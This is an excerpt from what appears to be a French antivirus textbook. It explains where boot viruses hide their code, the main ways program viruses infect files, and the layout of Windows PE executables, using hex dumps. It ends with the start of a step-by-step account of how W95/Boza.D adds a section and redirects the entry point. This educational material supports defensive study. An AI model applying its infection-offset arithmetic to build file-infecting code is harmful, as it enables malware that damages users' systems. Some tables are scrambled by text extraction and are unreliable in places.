La taille de nombreux virus système dépasse 512 octets. Ils doivent donc positionner le secteur d’origine et leur code complémentaire dans une zone protégée. Plusieurs solutions sont possibles : • Quelque part sur le cylindre 0 des disques durs (exemple : Jumper.B infectant un disque dur ). • Sur le ou les derniers secteurs du répertoire racine (exemple : Jumper.B infectant une disquette). • Dans un ou plusieurs secteurs déclarés mauvais (exemple : Form infectant une disquette). • Sur les derniers secteurs du disque (exemple : Form infectant un disque dur). Une solution plus rarement rencontrée a été imaginée par l’auteur de Den Zuko. Elle fut ensuite reprise dans des virus plus récents tels que Stoned-Spirit. Une disquette contient normalement 40 ou 80 cylindres. Sur nos disquettes actuelles, ils sont numérotés de 0 à 79. Il est cependant possible de formater un cylindre supplémentaire ; ce sera ici le cylindre 80. Il n’est pas accessible par les utilitaires DOS ; mais un virus au travers de l’interruption 13h en est parfaitement capable. 1. LAMBERT Mike, 1995, Circular Extended Partitions : Round and Round with DOS, Virus Bulletin, septembre 1995, pp 14-15. 2. Chercher la chaîne 07h 72h 03h (offset 2918h) et la remplacer par 07h 72h 06h.
PAGET_Ch04 Page 154 Lundi, 11. avril 2005 5:24 17
154
Chapitre 4. Les virus système
4.5.5 Non-sauvegarde du secteur d’origine Cette technique employée par plusieurs virus (exemple Anticmos) n’a rien de spectaculaire. Elle peut simplement être pénalisante pour les puristes qui ne pourront récupérer le secteur original et le restituer. De manière automatique ou manuelle, il faudra utiliser une sauvegarde ou créer de toute pièce un nouveau secteur.
4.5.6 Multipartisme Un virus multipartite (certains utilisent le terme de bivalent) cherche à infecter les zones systèmes des disques durs ou des disquettes et les fichiers exécutables. Selon des critères propres à chaque virus, l’une ou l’autre des techniques d’infection est mise en œuvre à un instant donné. Le but recherché est une plus grande propagation. Parmi les virus multipartites, citons : Flip, Tequila, One_Half.
4.5.7 Polymorphie Les virus système polymorphiques sont très peu nombreux. L’un d’entre eux, Moloch est apparu au printemps 1996. Un message, crypté dans le code indique : OH-MY-GOD! Moloch (tm) is here! Moloch is a trademark of SquiBoyz
Le code complémentaire, crypté, est positionné sur les secteurs 3,4 et 5 du disque dur. Sur les disquettes, le virus crée un 80ème cylindre selon la technique explicité plus avant dans le chapitre. De même, le virus cherche à modifier la CMOS afin d’interdire le démarrage A: avant C:. La loi liée au moteur polymorphique est simple ; mais modifiant peu d’octets dans le secteur de démarrage, la détection s’en trouve malaisée. Moloch interverti les instructions de déplacements entre registres et mémoire. Il le fait tantôt octet par octet, tantôt mot par mot.
4.6 SPÉCIFICITÉ DES OS Quelque soit le système d’exploitation, un virus système reste dangereux : • Sous DOS et en mode 16 bits de Windows : le virus utilisera toutes ses facultés de propagation et de dommages éventuels. • Au démarrage de Windows 95/98, le système recherche et examine où pointe l’interruption 13h. – Si elle pointe vers le BIOS (adresse > A000h), le mode 32 bits est autorisé au cours du démarrage.
PAGET_Ch04 Page 155 Lundi, 11. avril 2005 5:24 17
4.6 Spécificité des OS
155
– Si l’INT 13h pointe en RAM, les pilotes 32 bits ne seront pas chargés et un virus système conservera généralement ses capacités de reproduction sur les disquettes qui lui seront présentées.
© Dunod – La photocopie non autorisée est un délit
• En mode 32 bits de Windows : le virus s’implantera généralement sur la machine. Il n’y aura pas de propagation vers les disquettes. Si une action différée en écriture est programmée, elle se déroulera sans problème dans la mesure ou elle s’opère alors que l’ordinateur travaille toujours en mode réel. Un virus initialisant un compteur pour écraser une série de secteurs après un nombre défini de démarrage est donc à redouter. • En environnement NTFS ou non-Windows : dans de rares cas, le virus se comportera comme précédemment. Plus généralement, il risque d’écraser des secteurs vitaux lors de sa tentative d’infection du disque. Il en résultera un échec au démarrage. Sans l’intervention d’un spécialiste, le disque devra bien souvent être reformaté.
PAGET_Ch04 Page 156 Lundi, 11. avril 2005 5:24 17
PAGET_Ch05 Page 157 Lundi, 11. avril 2005 5:24 17
5 Les virus programme
Apparus peu de temps après les virus système, les virus programme sont longtemps restés – à quelques exceptions près – confinés dans les collections. Les échanges d’exécutables d’un utilisateur à l’autre restaient trop peu fréquents. Si certains d’entre eux ont atteint une véritable notoriété c’est qu’ils furent malencontreusement diffusés sur des CD-ROM commerciaux. Nous allons débuter ce chapitre en décrivant les diverses méthodes d’infection. Nous n’aborderons pas dans le détail la description des virus d’ancienne génération ; ceux fonctionnant en environnement DOS. Nous privilégierons les pratiques actuelles. Plus technique que les autres, cette partie pourrait effrayer certains lecteurs. Pour comprendre les virus système, nous avons dû comprendre la mise en marche d’un ordinateur. Une même démarche doit s’appliquer aux virus programme : pour les comprendre, il faut se pencher préalablement sur la structure des exécutables 32 bits. Pour rendre plus compréhensif cette seconde partie, de nombreuses images de code en mode hexadécimal vous sont proposées. Seul sur sa machine, le virus programme reste une menace de faible poids, mais associé à la technique du ver, il devient la principale origine de nos soucis actuels.
5.1 MODES D’INFECTION Les virus programme cherchent à infecter les exécutables binaires compilés. Plusieurs méthodes sont à leur disposition.
PAGET_Ch05 Page 158 Lundi, 11. avril 2005 5:24 17
158
Chapitre 5. Les virus programme
Figure 5.1 — Virus programme
5.1.1 Recouvrement Un virus par recouvrement se contente d’écraser partiellement ou en totalité, le programme qu’il infecte. En conséquence, il le détériore et rend sa restitution impossible par l’anti-virus. Dans certains cas, la taille du programme infecté n’est pas modifiée ; dans les cas contraires, celle ci s’ajuste à la taille du code viral et devient identique pour tout fichier infecté. La destruction, même partielle, du code originel fait que celui-ci ne peut plus fonctionner correctement et seul le code viral s’exécute. Ces virus ne sont généralement pas résidents en mémoire. Le logiciel ne réalisant pas la fonction souhaitée, l’utilisateur les détecte rapidement. Les virus agissant par recouvrement ne réussissent jamais à se disséminer largement. Un fichier infecté selon cette méthode ne peut qu’être effacé et remplacé par son original sain dans le cas où une sauvegarde existe. À titre d’exemples, citons dans cette famille : • BadGuy : Les 264 premiers octets des fichiers COM du sous-répertoire courant sont tous écrasés. • W32/HLL.ow.ANT.A : Les exécutables sont remplacés par le code du virus. Tous les fichiers ont ensuite une taille identique 14.848 octets ; c’est la taille du virus. • W32/HLL.ow.Jetto : La taille du virus est de 7170 octets. Les 7170 premiers octets de chaque fichier sont écrasés par le code du virus. La suite des fichiers est inchangée, ceux ci gardent leur taille d’origine. • LINUX/Radix.ow : Il fonctionne selon la méthode précédente mais en environnement LINUX. On retrouve cette technique d’infection par recouvrement dans d’autres familles virales : VBS/Entice.ow est un virus VBScript qui agit selon cette méthode.
PAGET_Ch05 Page 159 Lundi, 11. avril 2005 5:24 17
159
5.1 Modes d’infection
Figure 5.2 — Infection par recouvrement, le virus écrase tout
ou partie du code du programme hôte
5.1.2 Ajout Un virus par ajout modifie sa cible sans la détruire. À chaque lancement, le virus s’exécute tout en préservant les fonctionnalités normales du programme. Il est possible de considérer le virus comme une sous-routine supplémentaire qui s’exécute discrètement à un moment donné puis rend la main au programme légitime qui poursuit sa marche normale.
© Dunod – La photocopie non autorisée est un délit
La taille du programme est augmentée de la taille du virus. Certains éléments vitaux indispensables au bon fonctionnement du programme initial sont déplacés, sauvegardés et modifiés. La restitution d’un original sain consiste à inverser le processus d’infection en restituant les valeurs originales avant l’élimination du code parasite qui, entre autres, les contient. Le code viral s’exécute généralement en premier. Plusieurs cas sont envisageables : • Les registres de segment et d’offset (CS:IP et SS:SP) des programmes DOS/ EXE sont modifiés pour pointer sur le code viral. • L’adresse du point d’entrée des programmes 32 bits est modifiée pour pointer sur le code viral. • L’adresse du début de programme est inchangée, mais celui-ci débute par une ou plusieurs instructions se concluant par un saut vers le code viral. Dans le cas de la technologie dite du point d’entrée obscur, le point d’entrée du programme et les instructions qui s’y situent sont inchangés. Le virus positionne son saut dans un endroit quelconque – mais soigneusement choisi – du code de l’hôte. Cette technique est très pénalisante pour les anti-virus qui doivent élargir fortement leur zone de recherche.
PAGET_Ch05 Page 160 Lundi, 11. avril 2005 5:24 17
160
Chapitre 5. Les virus programme
Figure 5.3 — Infection par ajout
Le positionnement physique du code viral permet de préciser des sous-familles au sein de la méthode : • Positionnement physique à l’avant. La terminologie anglaise utilise le terme de prepender. • Positionnement physique à l’arrière. La terminologie anglaise utilise le terme d’appender. • Positionnement physique central ou dispersé. La majorité des virus programmes infectent par ajout. Citons pour l’exemple : • Jerusalem.1813 : La taille des fichiers COM augmente de 1813 octets avec un positionnement physique à l’avant. Cinq octets sont également ajoutés en fin de fichier. Il s’agit de la signature du virus. Les EXE (DOS) grossissent de 1808 octets avec un positionnement à l’arrière. Les registres de segment et d’offset sont modifiés pour faire pointer le début du programme vers cet endroit.
Figure 5.4 — Infection par ajout (exemple de Jerusalem)
PAGET_Ch05 Page 161 Lundi, 11. avril 2005 5:24 17
161
5.1 Modes d’infection
• Cascade.1701 : Les fichiers COM, y compris le COMMAND.COM, augmentent en taille de 1701 octets. Le saut initial est modifié pour faire pointer le début du programme sur le code viral.
Figure 5.5 — Infection par ajout (exemple de Cascade)
© Dunod – La photocopie non autorisée est un délit
• W95/Anxiety.1596 : Les fichiers EXE (PE) infectés voient leur taille augmenter de 1596 octets. Le point d’entrée est modifié pour se rediriger sur le code viral. Comme nous le verrons plus loin, d’autres paramètres situés dans les zones de l’entête sont aussi modifiés pour conserver une intégrité de structure.
Figure 5.6 — Infection par ajout (exemple de W95/Anxiety)
• W32/Chiton.A : Ce virus datant de 2002 se positionne dans une zone qu’il s’aménage à l’intérieur du fichier qu’il infecte. Une partie du fichier sain se retrouve décalée vers la fin du fichier. Comme dans le cas précédent, le point d’entrée est modifié.
PAGET_Ch05 Page 162 Lundi, 11. avril 2005 5:24 17
162
Chapitre 5. Les virus programme
Figure 5.7 — Infection par ajout (exemple de W32/Chiton.A)
• One_Half : Ce virus fait parti des virus les plus vicieux de la famille. Le code viral se positionne à l’arrière ; mais, pour l’atteindre, il faut suivre toute une série d’instructions et de sauts que le virus dissémine à une dizaine d’endroits distincts. De tailles variables et totalement polymorphes, ces fractions de code rendent la détection et l’éradication difficiles : il faudra les suivre pour espérer décrypter le virus, puis, à chaque fois, restaurer le code original que le virus a déplacé.
Figure 5.8 — Infection par ajout (exemple de One_Half.3544)
5.1.3 Infection par cavité simple Pour un virus, l’infection par cavité consiste à positionner son code dans une ou plusieurs zones inutilisées du programme qu’il cherche à infecter. La conséquence d’une telle infection est la conservation de la taille du fichier. Par le passé, le fichier COMMAND.COM fut la cible privilégiée et les virus de cette famille étaient aussi dénommés virus par entrelacement. Citons par exemple Lehigh. Il ciblait exclusivement le COMMAND.COM.
PAGET_Ch05 Page 163 Lundi, 11. avril 2005 5:24 17
163
5.1 Modes d’infection
Pour le virus, la méthode la plus simple consiste à rechercher dans les fichiers qu’il rencontre des espaces suffisamment grands pour permettre l’accueil de l’ensemble du code viral. On parle alors d’infection par cavité simple. Aujourd’hui la structure des fichiers 32 bits a permis un développement de cette technique. De nombreuses zones contiennent des espaces libres de code. Avec le virus W32/Caw (année 2000), l’ensemble du code est positionné en fin de fichier lorsqu’il rencontre un espace suffisant pouvant l’accueillir.
Figure 5.9 — Infection par cavité simple
5.1.4 Infection par fractionnement
© Dunod – La photocopie non autorisée est un délit
Cette technique se rapproche souvent de l’infection par cavité. C’est le cas lorsque le virus en utilise une série d’entre elles en positionnant des sauts lui permettant de chaîner l’exécution de son code d’une cavité vers la suivante.
Figure 5.10 — Infection par fractionnement
PAGET_Ch05 Page 164 Lundi, 11. avril 2005 5:24 17
164
Chapitre 5. Les virus programme
D’autres virus disséminent leur code en écrasant des zones utilisées. Les données qui vont ainsi recouvrir sont préalablement sauvegardées selon un mode par ajout.
5.1.5 Délocalisés Certains virus programmes placent leur code dans des secteurs inutilisés du disque. Dans ce cas, ils changent les paramètres des répertoires pour re-diriger le lancement du programme vers le code viral. Celui ci rend ensuite la main au programme initial. Sans la moindre modification interne, l’ensemble des fichiers infectés possède ensuite la même adresse (cluster) de départ. Ces virus sont peu nombreux mais peuvent s’avérer dangereux pour l’intégrité des supports qu’ils infectent. En effet, les utilitaires testant l’intégrité d’un disque découvriront des anomalies (fichiers croisés) et se proposeront de les corriger en entraînant des destructions irrémédiables.
Figure 5.11 — Virus délocalisé
5.1.6 Compagnons Certains virus programmes placent leur code dans un fichier séparé qui, malgré une extension différente, porte le même nom que le fichier cible. Il s’agit des virus compagnons. Il existe une préséance d’exécution pour les fichiers exécutables : les BAT puis les COM puis les EXE. Le virus compagnon va donc créer de toute pièce un fichier du même nom que le programme qu’il cible. Il lui attribuera une extension différente et plus prioritaire. Si, lors de son appel à exécution, le nom seul est utilisé (ce qui est généralement le cas), ce sera le code viral qui s’exécutera en premier. Il donnera ensuite la main au programme original pour ne pas risquer d’alerter l’utilisateur. Pour durcir son éventuelle détection, certains virus placent leur code dans un autre répertoire, prioritaire au sein de la variable système path.
PAGET_Ch05 Page 165 Lundi, 11. avril 2005 5:24 17
165
5.2 L’environnement 32 bits
Figure 5.12 — Exemple de virus compagnon
5.2 L’ENVIRONNEMENT 32 BITS Pour le grand public, les systèmes 32 bits arrivent avec Windows-95/98. C’est un environnement multitâche où chaque tâche est indépendante. Lorsqu’un problème survient dans l’exécution de l’une d’entre elles, le système est conçu pour ne pas compromettre le déroulement des autres tâches. Une couche logicielle tampon interdit théoriquement les échanges entre un programme et le système d’exploitation proprement dit. Dans cet environnement, les fichiers COM tendent à disparaître alors que la structure des EXE est totalement différente de ce qu’elle était. Le fonctionnement des virus DOS reposait sur l’utilisation d’interruptions logicielles ou matérielles. Elles leurs font défaut ici et les anciens virus ne se reproduisent plus. La seule gêne se limite parfois à un plantage de la fenêtre DOS ou à un message d’erreur.
© Dunod – La photocopie non autorisée est un délit
Le défi que présentait ce nouvel environnement était bien réel et les auteurs de virus se sont vite empressés de le relever. Tout comme il nous a fallu survoler la structure physique d’un disque dur pour comprendre les virus systèmes, nous allons maintenant découvrir celle des fichiers dits W32-PE. Nous pourrons ensuite appréhender les techniques de contamination. Pour nous aider à assimiler cette partie technique, nous allons nous appuyer sur la structure d’un fichier appât de 32 768 octets. Nous le nommerons PE-32K.EXE. Nous utiliserons quasi exclusivement la notation hexadécimale. Avec celle ci la taille du fichier s’écrit 8000h. Chaque chiffre en notation hexadécimale se termine par la lettre « h ». Divers documents décrivant ces fichiers sont disponibles sur Internet. Nous n’en décrirons ici que les éléments directement liés au fonctionnement des virus. La dénomination internationale du nom constituant cette structure sera généralement conservée. Pour nombre d’entre eux, une traduction française sera néanmoins proposée. Ces dénominations proviennent généralement du document Portable Executable Format de Michael J. O’Leary1. 1. O’LEARY, Micheal J. (1998), Portable Executable Format. Document disponible à l’adresse : http://www.sf-soft.de/winhex/kb/ff/PE_EXE.txt.
PAGET_Ch05 Page 166 Lundi, 11. avril 2005 5:24 17
166
Chapitre 5. Les virus programme
Dans cet univers particulier, le lecteur ne devra pas hésiter à utiliser la calculatrice qu’il a à sa disposition sur son ordinateur. Via le menu affichage, celle ci devra être configurée en mode scientifique.
Figure 5.13 — Interface scientifique de la calculatrice
5.2.1 Structure d’un fichier 32 bits Tout fichier PE est organisé comme une succession linéaire de sections de données.
Figure 5.14 — Structure d’un fichier 32 bits
PAGET_Ch05 Page 167 Lundi, 11. avril 2005 5:24 17
167
5.2 L’environnement 32 bits
En-tête MS-DOS Afin de rester compatible avec les anciens programmes s’appuyant sur le DOS, il commence lui-même par une structure compatible qui s’en rapproche avec les fameux caractères MZ. 00000000: 00000010: 00000020: 00000030:
4D B8 00 00
5A 00 00 00
90 00 00 00
00 00 00 00
03 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
– – – –
04 40 00 00
00 00 00 00
00 00 00 00
00 00 00 00
FF 00 00 80
FF 00 00 00
00 00 00 00
00 00 00 00
MZ
Deux informations intéressantes sont ici disponibles (en gras). Tableau 5.1 — Quelques informations dans l’en-tête MS-DOS TAILLE (octets)
OFFSET
DÉSIGNATION
[MZ + 18h]
2
File Address of Relocation Table Offset de la Table de Re-Allocation Si cette valeur est égale ou supérieure à 40h, le programme est dédié à l’environnement Windows
[MZ + 3Ch]
4
File Address of New Exe Header Offset de l’Entête PE C’est uniquement au travers de cet offset que Windows détermine la validité de l’application qu’il tente de charger. Il charge la zone cible en mémoire pour y rechercher une signature valide. Cette zone se situe généralement après le Micro-Programme Mode Réel.
© Dunod – La photocopie non autorisée est un délit
Micro-programme mode réel En anglais, Real-Mode Stub Program. Il s’agit d’un code qui, lorsqu’il est exécuté par le DOS, affiche généralement un court message avant de se terminer. Typiquement, le message est là pour indiquer une erreur quant au choix de la plate-forme de lancement, il s’apparente souvent au texte : This program cannot be run in DOS mode. 00000040: 00000050: 00000060: 00000070:
0E 69 74 6D
1F 73 20 6F
BA 20 62 64
0E 70 65 65
00 72 20 2E
B4 6F 72 0D
09 67 75 0D
CD 72 6E 0A
– – – –
21 61 20 24
B8 6D 69 00
01 20 6E 00
4C 63 20 00
CD 61 44 00
21 6E 4F 00
54 6E 53 00
68 6F 20 00
.......!..L.!Th is program canno t be run in DOS mode....$.......
Signature et en-tête PE 00000080: 50 45 00 00 (PE Signature) 4C 01 05 00 – 91 99 A0 34 00 00 00 00 00000090: 00 00 00 00 E0 00 0E 01 -
PE
Les quatres premiers octets concernent la signature, ils définissent le type du fichier. Microsoft en donne la définition suivante : 0x454E 0x454C 0x00004550
// // //
NE LE PE00
IMAGE_OS2_SIGNATURE IMAGE_OS2_SIGNATURE_LE IMAGE_NT_SIGNATURE
PAGET_Ch05 Page 168 Lundi, 11. avril 2005 5:24 17
168
Chapitre 5. Les virus programme
L’abréviation NE (New Executable) s’applique aux fichiers Windows 3.x, l’abréviation LE à l’environnement OS/2 et à quelques VxD (Virtual Device Driver). Les fichiers qui nous intéressent ici sont ceux dont la signature est PE (Portable Executable). Ce sont les fichiers que nous rencontrons dans les environnements Windows actuels. Citons parmi eux, ceux dont l’extension est : exe, dll, ocx, scr. Après les 4h premiers octets de la signature se trouve l’entête PE. Sa taille est de 14h octets. L’offset repris dans la liste ci-dessous, puis dans les suivantes, est calculé depuis la signature PE. Dans notre exemple, il se situe à l’adresse absolue 80h. Tableau 5.2 — Quelques informations dans l’en-tête PE TAILLE (octet)
OFFSET
DÉSIGNATION
[PE]
4
Signature
[PE + 06h]
2
Nombre d’entrées dans la table des objets Il s’agit du nombre de sections. Codé sur 2 octets, il est, dans notre exemple, égal à 0005h.
[PE + 08h]
4
Date et heure de création Dans notre exemple 34A09991h correspond au 24/12/1997 06 :11 :45
[PE + 14h]
4
PE Optional Header Taille de l’Entête PE Optionnelle Dans notre exemple, sa valeur est 00E0h.
En-tête optionnelle Optionnelle de par son intitulé, cette zone de donnée est indispensable au bon fonctionnement du fichier. Elle n’est donc absolument pas facultative. Elle débute toujours par les octets : 010Bh et contient de nombreuses informations stratégiques. 00000090: 000000A0: 000000B0: 000000C0: 000000D0: 000000E0: 000000F0: 00000100: 00000110: 00000120: 00000130: 00000140: 00000150: 00000160: 00000170:
00 00 04 00 00 00 00 00 00 00 00 00 00 00
60 40 00 D0 00 00 B0 00 C0 00 00 00 00 00
00 00 00 00 10 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 10 28 00 20 00 00 00 00 00
00 00 00 04 10 00 00 00 03 00 00 00 00 00
00 40 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00
– – – – – – – – – – – – – – -
0B B0 00 04 00 00 00 00 00 00 00 00 A8 00
01 11 10 00 00 00 00 00 00 00 00 00 B0 00
03 00 00 00 00 10 00 00 00 00 00 00 00 00
0A 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 03 00 00 00 00 00 00 00 80 00
2E 10 02 00 00 10 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00
PAGET_Ch05 Page 169 Lundi, 11. avril 2005 5:24 17
169
5.2 L’environnement 32 bits
Dans le tableau suivant, comme tout au long de ce chapitre, nous allons fréquemment référencer des données relativement à l’Adresse de Base de l’Image (en anglais, Image Base). Pour ce faire, nous utiliserons le sigle RVA (Relative Virtual Address). Cette RVA est une valeur qui, additionnée à l’adresse physique, donne l’adresse réelle telle que l’on peut la lire grâce à un débuggeur ou à un désassembleur. Dans notre exemple, le fichier est chargé à l’adresse 0x00400000h et son point d’entrée est 0x11B0h. L’exécution démarre donc à RVA + 0x11B0h. En mémoire, l’adresse du point d’entrée de l’exécutable sera en 0x004011B0h. Si l’exécutable était chargé en 0x01000000h (c’est le cas pour de nombreuses versions de la calculatrice (CALC.EXE), le point d’entrée se situerait en 0x010011B0h. Tableau 5.3 — Quelques informations dans l’en-tête optionnelle
© Dunod – La photocopie non autorisée est un délit
OFFSET
TAILLE (octet)
DÉSIGNATION
[PE + 28h]
4
EntryPoint RVA Offset du Point d’Entrée relatif à l’Adresse de Base de l’Image Dans notre exemple : 0x11B0h. Ce champ pointe sur la première instruction du programme. Celle ci se trouve généralement dans la section .text. La plupart des virus modifient cette valeur afin de rediriger l’exécution vers leur propre code. Elle cible alors souvent la dernière section.
[PE + 34h]
4
Image Base Adresse de Base de l’Image Adresse à laquelle est chargée l’image en mémoire Après compilation, cette information prend souvent la valeur 0x00400000h (c’est le cas de notre exemple). C’est l’adresse virtuelle du premier octet de l’image du fichier tel qu’il a été chargé en mémoire par le système d’exploitation (on y trouve le fameux MZ). L’image base est utilisée par le système d’exploitation avec les adresses RVA pour former l’adresse finale en mémoire.
[PE + 38h]
4
Object Align Alignement de l’Objet Taille minimale qu’un objet (une section) peut occuper en mémoire. Cette valeur est couramment affichée à 4096 octets, soit 1000h.
[PE + 3Ch]
4
File Align Alignement du Fichier Taille minimale affectée à une zone de données avant son chargement en mémoire (fréquemment 0200h). Pour que le système d’exploitation (le loader) accepte de charger un fichier, ces adresses doivent être alignées sur une taille minimale. Elles doivent être multiples de cette taille minimale.
PAGET_Ch05 Page 170 Lundi, 11. avril 2005 5:24 17
170
Chapitre 5. Les virus programme
OFFSET
TAILLE (octet)
DÉSIGNATION
[PE + 50h]
4
Image Size Taille du Programme Taille totale que prendra l’image d’un fichier en mémoire. Elle est calculée en additionnant : – la taille virtuelle de chacune des sections (lue dans la zone d’entête des sections) arrondie pour devenir un multiple de la taille minimale autorisée (champ Object Align), – la taille totale des entêtes (lue à [PE + 50h]) arrondie selon la même règle.
[PE + 54h]
4
Header Size Taille de toutes les entêtes Elle inclue la Table de Description des Objets (Object Table) et l’ensemble des sections jusqu’ici décrites.
[PE + 78h]
4
Export Table RVA Adresse Virtuelle Relative de la Table Export
[PE + 7Ch]
4
Taille Totale de la Table Export
[PE + 80h]
4
Import Table RVA Adresse Virtuelle Relative de la Table Import
[PE + 78h]
4
Taille Totale de la Table Import
[PE + 88h]
4
Resource Table RVA Adresse Virtuelle Relative de la Table Ressource
[PE + 78h]
4
Taille Totale de la Table Ressource
[PE + A0h]
4
Fixup Table RVA Adresse Virtuelle Relative de la Table Fixup
[PE + 78h]
4
Taille Totale de la Table Fixup
[PE + C0h]
4
Thread Local Storage RVA Adresse virtuelle relative de la zone de gestion des fils d’exécution à déroulement parallèle (les threads).
En-tête des sections Cette zone détaille les différentes sections contenues dans le fichier. Leurs noms et leurs rôles sont généralement prédéfinis et malgré un nombre important d’exceptions il est possible d’en établir une liste non exhaustive.
PAGET_Ch05 Page 171 Lundi, 11. avril 2005 5:24 17
171
5.2 L’environnement 32 bits
Tableau 5.4 — Descriptif de quelques sections de type courant INTITULÉ
NOM(S)
Executable Code Section Section pour Code Executable
RÔLE, CONTENANCE
.text ou text (compilateur Microsoft)
Point d’entrée (EP-RVA) Code du programme
.CODE ou CODE (compilateur Borland) Data Section Section des Données
.bss
Données variables (.bss) constantes (rdata)
.rdata .data Resources Section Section Ressource
.rsrc
Ressources
Export Data Section Section des Données Exportées
.edata
Informations pour l’appel des fonctions exportées
.pdata Import Data Section Section des Données Importées
.idata (Microsoft)
Liste des fonctions importées
.rdata (Borland) Debug Information Section Section des Informations Débuggeur
.debug
Information de débuggage
Relocation Section Section pour Relocation
.reloc
Contient la table de relocation uniquement utile s’il faut « linker » des programmes avec des symboles externes.
© Dunod – La photocopie non autorisée est un délit
Description des sections Chaque section est décrite sur 28 octets. La taille standard de cette entête est 287h octets. Elle permet de décrire jusqu’à 10 sections. Les fichiers en contenant généralement moins, une partie de l’espace est généralement inoccupée et vide (00h). 00000170: 00000180: 00000190: 000001A0: 000001B0: 000001C0: 000001C0: 000001D0: 000001E0: 000001F0: 00000200: 00000210: 00000210: 00000220: 00000230:
60 00 2E 00 00
2D 00 72 04 00
00 00 64 00 00
00 00 61 00 00
00 00 74 00 40
10 00 61 32 00
00 00 00 00 00
00 00 00 00 40
C4 00 2E 00 00
52 00 69 04 00
00 00 64 00 00
00 00 61 00 00
00 00 74 00 40
50 00 61 78 00
00 00 00 00 00
00 00 00 00 C0
FE 03 00 00 00 C0 00 00 00 00 00 00 00 00 00 00
– – – – – – – – – – – – –
2E 00 00 87 00
74 2E 00 03 00
65 00 00 00 00
78 00 00 00 00
74 00 20 00 00
00 04 00 40 00
00 00 00 00 00
00 00 60 00 00
2E 00 00 52 00
64 42 00 03 00
61 00 00 00 00
74 00 00 00 00
61 00 40 00 00
00 36 00 B0 00
00 00 00 00 00
00 00 C0 00 00
2E 72 65 6C 6F 63 00 00 00 04 00 00 00 7C 00 00 00 00 00 00 40 00 00 42
.text .rdata .data .idata .reloc
PAGET_Ch05 Page 172 Lundi, 11. avril 2005 5:24 17
172
Chapitre 5. Les virus programme
Tableau 5.5 — Informations liées au descriptif des sections OFFSET
TAILLE (octets)
DÉSIGNATION
[00h]
8
Nom de la section Le premier caractère est souvent un point (2Eh].
[08h]
4
Taille Virtuelle de la section
[0Ch]
4
Adresse Virtuelle Offset relatif à l’adresse de base de l’image.
[10h]
4
Taille Physique Elle doit être plus petite que la Taille Virtuelle et multiple de la valeur d’alignement du fichier [PE + 3Ch].
[14h]
4
Adresse Physique Offset relatif au début du fichier.
[24h]
4
Caractéristiques Codée sur 4 octets, ce champ en précise les attributs (voir tableau suivant). Tableau 5.6 — Caractéristiques d’une section Caractéristiques d’une section
Valeur
Autorisation pour la section
0x10h
Partage
0x20h
Exécution
0x40h
Lecture
0x60h
Lecture + Exécution
0x80h
Écriture
0xC0h
Lecture + Écriture
0xE0h
Lecture + Exécution + Écriture
0x01h
Contenance
Relocations étendues
0x02h
La section peut être supprimée
0x04h
La section ne peut être mise en cache
0x08h
La section n’est pas paginable
0x……20h
Code Exécutable
0x……40h
Constantes (Initialized data)
0x……80h
Variables (Un-initialized data)
PAGET_Ch05 Page 173 Lundi, 11. avril 2005 5:24 17
173
5.2 L’environnement 32 bits
Les caractéristiques d’une section se déclinent par une simple addition. Il est possible de préciser pour l’exemple ci-dessus : Tableau 5.7 — Exemple de caractéristiques de sections courantes
© Dunod – La photocopie non autorisée est un délit
Nom de la section
Caractéristique
Remarques
.text
0x20000000h + 0x40000000h + 0x00000020h -----------------= 0x60000020h
Lecture et exécution autorisée. La section contient du code exécutable.
.rdata
0x40000000h + 0x00000040h -----------------= 0x40000040h
Lecture seule autorisée. La section contient des constantes.
.data
0x40000000h + 0x80000000h + 0x00000040h -----------------= 0xC0000040h
Lecture et écriture autorisée. La section contient des constantes.
.idata
0x40000000h + 0x80000000h + 0x00000040h -----------------= 0xC0000040h
Lecture et écriture autorisée. La section contient des constantes.
.reloc
0x40000000h +0x02000000h + 0x00000040h -----------------= 0x42000040h
Lecture seule autorisée. La section contient des constantes mais n’est pas indispensable au bon fonctionnement de l’exécutable.
5.2.2 Quelques méthodes d’infection Dans la plupart des exemples que nous allons maintenant survoler, le point de départ d’analyse se situe au niveau de l’offset de la signature PE. Comme nous l’avons vu précédemment cette valeur que nous dénommons [PE] se lit à [MZ + 3Ch] : [PE] = [MZ + 3Ch]
Ajout de section et modification du point d’entrée Nous allons ici étudier W95/Boza.D. Dans le cas présent, le code viral fait l’objet d’une nouvelle section que le virus doit référencer dans l’entête des sections. L’adresse du point d’entrée est modifiée pour pointer vers cette nouvelle zone.
PAGET_Ch05 Page 174 Lundi, 11. avril 2005 5:24 17
174
Chapitre 5. Les virus programme
Le travail débute par la recherche de l’offset lié à l’entête des sections. Il est égal à: • • • •
[PE] (offset de la signature PE) 04h (taille de la signature) 14h (taille de l’entête PE) Taille de l’entête optionnelle lue à [PE + 14h]
Dans notre exemple : 80h + 04h + 14h + E0h = 178h). Une nouvelle entrée de section est ajoutée en fin de zone de description des sections. Il faut pour cela connaître la taille actuelle de la zone selon la règle : Nombre d’entrées lu à [PE +6h] : 28h (taille d’une description). Dans notre exemple : 5 * 28h = C8h La nouvelle section sera décrite à l’offset : 178h + C8h =240h Afin d’en constituer la structure, le virus utilise, entre autre, les informations de l’actuelle dernière section. Dans notre exemple, il s’agit de .reloc : 00000210: – 2E 72 65 6C 6F 00000220: FE 03 00 00 00 C0 00 00 – 00 04 00 00 00 00000230: 00 00 00 00 00 00 00 00 – 00 00 00 00 40 Taille Virtuelle (.reloc) = 03FEh (offset RVA(.reloc) = C000h (offset Taille Physique (.reloc) = 0400h (offset Adresse Physique (.reloc) = 7C00h (offset Caractéristiques (.reloc) = 42000040h (offset
63 00 00 7C 00 00 00 00 42 08h) 0Ch) 10h) 14h) 24h)
.reloc
